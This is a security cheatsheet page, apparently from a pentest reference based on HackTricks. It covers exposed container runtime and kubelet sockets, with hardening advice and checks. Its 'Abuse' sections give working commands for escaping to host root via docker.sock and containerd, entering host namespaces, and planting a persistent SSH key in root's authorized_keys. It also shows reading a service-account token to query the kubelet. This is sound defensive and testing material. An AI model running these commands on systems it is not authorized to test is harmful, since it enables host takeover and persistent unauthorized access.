daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

runtime-api-and-daemon-exposure.md (15478B)


      1 ---
      2 title: "Runtime API And Daemon Exposure"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/containers-namespaces/container-security/runtime-api-and-daemon-exposure.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/containers-namespaces/container-security/runtime-api-and-daemon-exposure.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Runtime API And Daemon Exposure
     14 
     15 ## Overview
     16 
     17 Many real container compromises do not begin with a namespace escape at all. They begin with access to the runtime control plane. If a workload can talk to `dockerd`, `containerd`, CRI-O, Podman, or kubelet through a mounted Unix socket or an exposed TCP listener, the attacker may be able to request a new container with better privileges, mount the host filesystem, join host namespaces, or retrieve sensitive node information. In those cases, the runtime API is the real security boundary, and compromising it is functionally close to compromising the host.
     18 
     19 This is why runtime socket exposure should be documented separately from kernel protections. A container with ordinary seccomp, capabilities, and MAC confinement can still be one API call away from host compromise if `/var/run/docker.sock` or `/run/containerd/containerd.sock` is mounted inside it. The kernel isolation of the current container may be working exactly as designed while the runtime management plane remains fully exposed.
     20 
     21 ## Daemon Access Models
     22 
     23 Docker Engine traditionally exposes its privileged API through the local Unix socket at `unix:///var/run/docker.sock`. Historically it has also been exposed remotely through TCP listeners such as `tcp://0.0.0.0:2375` or a TLS-protected listener on `2376`. Exposing the daemon remotely without strong TLS and client authentication effectively turns the Docker API into a remote root interface.
     24 
     25 containerd, CRI-O, Podman, and kubelet expose similar high-impact surfaces. The names and workflows differ, but the logic does not. If the interface lets the caller create workloads, mount host paths, retrieve credentials, or alter running containers, the interface is a privileged management channel and should be treated accordingly.
     26 
     27 Common local paths worth checking are:
     28 
     29 ```text
     30 /var/run/docker.sock
     31 /run/docker.sock
     32 /run/containerd/containerd.sock
     33 /var/run/crio/crio.sock
     34 /run/podman/podman.sock
     35 /var/run/kubelet.sock
     36 /run/buildkit/buildkitd.sock
     37 /run/firecracker-containerd.sock
     38 ```
     39 
     40 Older or more specialized stacks may also expose endpoints such as `dockershim.sock`, `frakti.sock`, or `rktlet.sock`. Those are less common in modern environments, but when encountered they should be treated with the same caution because they represent runtime-control surfaces rather than ordinary application sockets.
     41 
     42 ## Secure Remote Access
     43 
     44 If a daemon must be exposed beyond the local socket, the connection should be protected with TLS and preferably with mutual authentication so the daemon verifies the client and the client verifies the daemon. The old habit of opening the Docker daemon on plain HTTP for convenience is one of the most dangerous mistakes in container administration because the API surface is strong enough to create privileged containers directly.
     45 
     46 The historical Docker configuration pattern looked like:
     47 
     48 ```bash
     49 DOCKER_OPTS="-H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
     50 sudo service docker restart
     51 ```
     52 
     53 On systemd-based hosts, daemon communication may also appear as `fd://`, meaning the process inherits a pre-opened socket from systemd rather than binding it directly itself. The important lesson is not the exact syntax but the security consequence. The moment the daemon listens beyond a tightly permissioned local socket, transport security and client authentication become mandatory rather than optional hardening.
     54 
     55 ## Abuse
     56 
     57 If a runtime socket is present, confirm which one it is, whether a compatible client exists, and whether raw HTTP or gRPC access is possible:
     58 
     59 ```bash
     60 find / -maxdepth 3 \( -name docker.sock -o -name containerd.sock -o -name crio.sock -o -name podman.sock -o -name kubelet.sock \) 2>/dev/null
     61 ss -xl | grep -E 'docker|containerd|crio|podman|kubelet' 2>/dev/null
     62 docker -H unix:///var/run/docker.sock version 2>/dev/null
     63 podman --url unix:///run/podman/podman.sock info 2>/dev/null
     64 nerdctl --address /run/containerd/containerd.sock --namespace k8s.io ps 2>/dev/null
     65 ctr --address /run/containerd/containerd.sock images ls 2>/dev/null
     66 crictl --runtime-endpoint unix:///run/containerd/containerd.sock ps 2>/dev/null
     67 crictl --runtime-endpoint unix:///var/run/crio/crio.sock ps 2>/dev/null
     68 buildctl --addr unix:///run/buildkit/buildkitd.sock debug workers 2>/dev/null
     69 ```
     70 
     71 These commands are useful because they distinguish between a dead path, a mounted but inaccessible socket, and a live privileged API. If the client succeeds, the next question is whether the API can launch a new container with a host bind mount or host namespace sharing.
     72 
     73 ### When No Client Is Installed
     74 
     75 The absence of `docker`, `podman`, or another friendly CLI does not mean the socket is safe. Docker Engine speaks HTTP over its Unix socket, and Podman exposes both a Docker-compatible API and a Libpod-native API through `podman system service`. That means a minimal environment with only `curl` may still be enough to drive the daemon:
     76 
     77 ```bash
     78 curl --unix-socket /var/run/docker.sock http://localhost/_ping
     79 curl --unix-socket /var/run/docker.sock http://localhost/v1.54/images/json
     80 curl --unix-socket /var/run/docker.sock \
     81   -H 'Content-Type: application/json' \
     82   -d '{"Image":"ubuntu:24.04","Cmd":["id"],"HostConfig":{"Binds":["/:/host"]}}' \
     83   -X POST http://localhost/v1.54/containers/create
     84 
     85 curl --unix-socket /run/podman/podman.sock http://d/_ping
     86 curl --unix-socket /run/podman/podman.sock http://d/v1.40.0/images/json
     87 ```
     88 
     89 This matters during post-exploitation because defenders sometimes remove the usual client binaries but leave the management socket mounted. On Podman hosts, remember that the high-value path differs between rootful and rootless deployments: `unix:///run/podman/podman.sock` for rootful service instances and `unix://$XDG_RUNTIME_DIR/podman/podman.sock` for rootless ones.
     90 
     91 ### Full Example: Docker Socket To Host Root
     92 
     93 If `docker.sock` is reachable, the classical escape is to start a new container that mounts the host root filesystem and then `chroot` into it:
     94 
     95 ```bash
     96 docker -H unix:///var/run/docker.sock images
     97 docker -H unix:///var/run/docker.sock run --rm -it -v /:/host ubuntu:24.04 chroot /host /bin/bash
     98 ```
     99 
    100 This provides direct host-root execution through the Docker daemon. The impact is not limited to file reads. Once inside the new container, the attacker can alter host files, harvest credentials, implant persistence, or start additional privileged workloads.
    101 
    102 ### Full Example: Docker Socket To Host Namespaces
    103 
    104 If the attacker prefers namespace entry instead of filesystem-only access:
    105 
    106 ```bash
    107 docker -H unix:///var/run/docker.sock run --rm -it --pid=host --privileged ubuntu:24.04 bash
    108 nsenter --target 1 --mount --uts --ipc --net --pid -- bash
    109 ```
    110 
    111 This path reaches the host by asking the runtime to create a new container with explicit host-namespace exposure rather than by exploiting the current one.
    112 
    113 ### Docker Socket Persistence Pattern
    114 
    115 Runtime control can also be used for persistence instead of a one-shot shell. The generic pattern is to create a helper container with a host mount, write authorized access material or a startup hook into the mounted host filesystem, and then validate that the host consumes it.
    116 
    117 Example shape:
    118 
    119 ```bash
    120 docker -H unix:///var/run/docker.sock run -d --name helper -v /:/host ubuntu:24.04 sleep infinity
    121 docker -H unix:///var/run/docker.sock exec helper sh -c 'mkdir -p /host/root/.ssh && chmod 700 /host/root/.ssh'
    122 docker -H unix:///var/run/docker.sock cp ./id_ed25519.pub helper:/tmp/key.pub
    123 docker -H unix:///var/run/docker.sock exec helper sh -c 'cat /tmp/key.pub >>/host/root/.ssh/authorized_keys'
    124 ```
    125 
    126 The same idea can target systemd units, cron fragments, application startup files, or SSH keys depending on what the operator wants to prove. The important point is that the persistent change is made through the runtime daemon's host-level filesystem authority, not through extra privilege in the original container.
    127 
    128 ### Raw Docker API Helper Pivot
    129 
    130 When the Docker CLI is missing, the same host-mount helper flow can be driven through HTTP over the Unix socket. The generic flow is: confirm the API, create a helper container with a host bind mount, start it, create an exec instance, and start that exec.
    131 
    132 ```bash
    133 curl --unix-socket /var/run/docker.sock http://localhost/_ping
    134 curl --unix-socket /var/run/docker.sock \
    135   -H 'Content-Type: application/json' \
    136   -d '{"Image":"ubuntu:24.04","Cmd":["sleep","3600"],"HostConfig":{"Binds":["/:/host:rw"]}}' \
    137   -X POST http://localhost/v1.54/containers/create?name=helper
    138 curl --unix-socket /var/run/docker.sock -X POST http://localhost/v1.54/containers/helper/start
    139 curl --unix-socket /var/run/docker.sock \
    140   -H 'Content-Type: application/json' \
    141   -d '{"AttachStdout":true,"AttachStderr":true,"Cmd":["chroot","/host","id"]}' \
    142   -X POST http://localhost/v1.54/containers/helper/exec
    143 ```
    144 
    145 The final `/exec/<id>/start` request depends on the returned exec ID, but the security point is independent of the exact JSON plumbing: raw API access to a rootful Docker daemon is enough to request a stronger helper workload.
    146 
    147 ### Full Example: containerd Socket
    148 
    149 A mounted `containerd` socket is usually just as dangerous:<sup>[[1]](#references)</sup>
    150 
    151 ```bash
    152 ctr --address /run/containerd/containerd.sock images pull docker.io/library/busybox:latest
    153 ctr --address /run/containerd/containerd.sock run --tty --privileged --mount type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
    154 chroot /host /bin/sh
    155 ```
    156 
    157 If a more Docker-like client is present, `nerdctl` can be more convenient than `ctr` because it exposes familiar flags such as `--privileged`, `--pid=host`, and `-v`:
    158 
    159 ```bash
    160 nerdctl --address /run/containerd/containerd.sock --namespace k8s.io run --rm -it \
    161   --privileged --pid=host -v /:/host docker.io/library/alpine:latest sh
    162 chroot /host /bin/sh
    163 ```
    164 
    165 The impact is again host compromise. Even if Docker-specific tooling is absent, another runtime API may still offer the same administrative power. On Kubernetes nodes, `crictl` may also be enough for reconnaissance and container interaction because it speaks the CRI endpoint directly.
    166 
    167 ### BuildKit Socket
    168 
    169 `buildkitd` is easy to miss because people often think of it as "just the build backend", but the daemon is still a privileged control plane. A reachable `buildkitd.sock` can allow an attacker to run arbitrary build steps, inspect worker capabilities, use local contexts from the compromised environment, and request dangerous entitlements such as `network.host` or `security.insecure` when the daemon was configured to allow them.
    170 
    171 Useful first interactions are:
    172 
    173 ```bash
    174 buildctl --addr unix:///run/buildkit/buildkitd.sock debug workers
    175 buildctl --addr unix:///run/buildkit/buildkitd.sock du
    176 ```
    177 
    178 If the daemon accepts build requests, test whether insecure entitlements are available:
    179 
    180 ```bash
    181 buildctl --addr unix:///run/buildkit/buildkitd.sock build \
    182   --frontend dockerfile.v0 \
    183   --local context=. \
    184   --local dockerfile=. \
    185   --allow network.host \
    186   --allow security.insecure \
    187   --output type=local,dest=/tmp/buildkit-out
    188 ```
    189 
    190 The exact impact depends on daemon configuration, but a rootful BuildKit service with permissive entitlements is not a harmless developer convenience. Treat it as another high-value administrative surface, especially on CI runners and shared build nodes.
    191 
    192 ### Kubelet API Over TCP
    193 
    194 The kubelet is not a container runtime, but it is still part of the node management plane and often sits in the same trust boundary discussion. If the kubelet secure port `10250` is reachable from the workload, or if node credentials, kubeconfigs, or proxy rights are exposed, the attacker may be able to enumerate Pods, retrieve logs, or execute commands in node-local containers without ever touching the Kubernetes API server admission path.
    195 
    196 Start with cheap discovery:
    197 
    198 ```bash
    199 curl -sk https://127.0.0.1:10250/pods
    200 curl -sk https://127.0.0.1:10250/runningpods/
    201 TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
    202 curl -sk -H "Authorization: Bearer $TOKEN" https://127.0.0.1:10250/pods
    203 ```
    204 
    205 If the kubelet or API-server proxy path authorizes `exec`, a WebSocket-capable client can turn that into code execution in other containers on the node. This is also why `nodes/proxy` with only `get` permission is more dangerous than it sounds: the request can still reach kubelet endpoints that execute commands, and those direct kubelet interactions do not show up in normal Kubernetes audit logs.<sup>[[2]](#references)</sup>
    206 
    207 ## Checks
    208 
    209 The goal of these checks is to answer whether the container can reach any management plane that should have remained outside the trust boundary.
    210 
    211 ```bash
    212 mount | grep -E '/var/run|/run|docker.sock|containerd.sock|crio.sock|podman.sock|kubelet.sock'
    213 ss -lntp 2>/dev/null | grep -E ':2375|:2376'
    214 env | grep -E 'DOCKER_HOST|CONTAINERD_ADDRESS|CRI_CONFIG_FILE|BUILDKIT_HOST|XDG_RUNTIME_DIR'
    215 find /run /var/run -maxdepth 3 \( -name 'buildkitd.sock' -o -name 'podman.sock' \) 2>/dev/null
    216 ```
    217 
    218 What is interesting here:
    219 
    220 - A mounted runtime socket is usually a direct administrative primitive rather than mere information disclosure.
    221 - A TCP listener on `2375` without TLS should be treated as a remote-compromise condition.
    222 - Environment variables such as `DOCKER_HOST` often reveal that the workload was intentionally designed to talk to the host runtime.
    223 
    224 ## Runtime Defaults
    225 
    226 | Runtime / platform | Default state | Default behavior | Common manual weakening |
    227 | --- | --- | --- | --- |
    228 | Docker Engine | Local Unix socket by default | `dockerd` listens on the local socket and the daemon is usually rootful | mounting `/var/run/docker.sock`, exposing `tcp://...:2375`, weak or missing TLS on `2376` |
    229 | Podman | Daemonless CLI by default | No long-lived privileged daemon is required for ordinary local use; API sockets may still be exposed when `podman system service` is enabled | exposing `podman.sock`, running the service broadly, rootful API use |
    230 | containerd | Local privileged socket | Administrative API exposed through the local socket and usually consumed by higher-level tooling | mounting `containerd.sock`, broad `ctr` or `nerdctl` access, exposing privileged namespaces |
    231 | CRI-O | Local privileged socket | CRI endpoint is intended for node-local trusted components | mounting `crio.sock`, exposing the CRI endpoint to untrusted workloads |
    232 | Kubernetes kubelet | Node-local management API | Kubelet should not be broadly reachable from Pods; access may expose pod state, credentials, and execution features depending on authn/authz | mounting kubelet sockets or certs, weak kubelet auth, host networking plus reachable kubelet endpoint |
    233 
    234 ## References
    235 
    236 - [1] [containerd socket exploitation part 1](https://thegreycorner.com/2025/02/12/containerd-socket-exploitation-part-1.html)
    237 - [2] [Kubernetes API Server Bypass Risks](https://kubernetes.io/docs/concepts/security/api-server-bypass-risks/)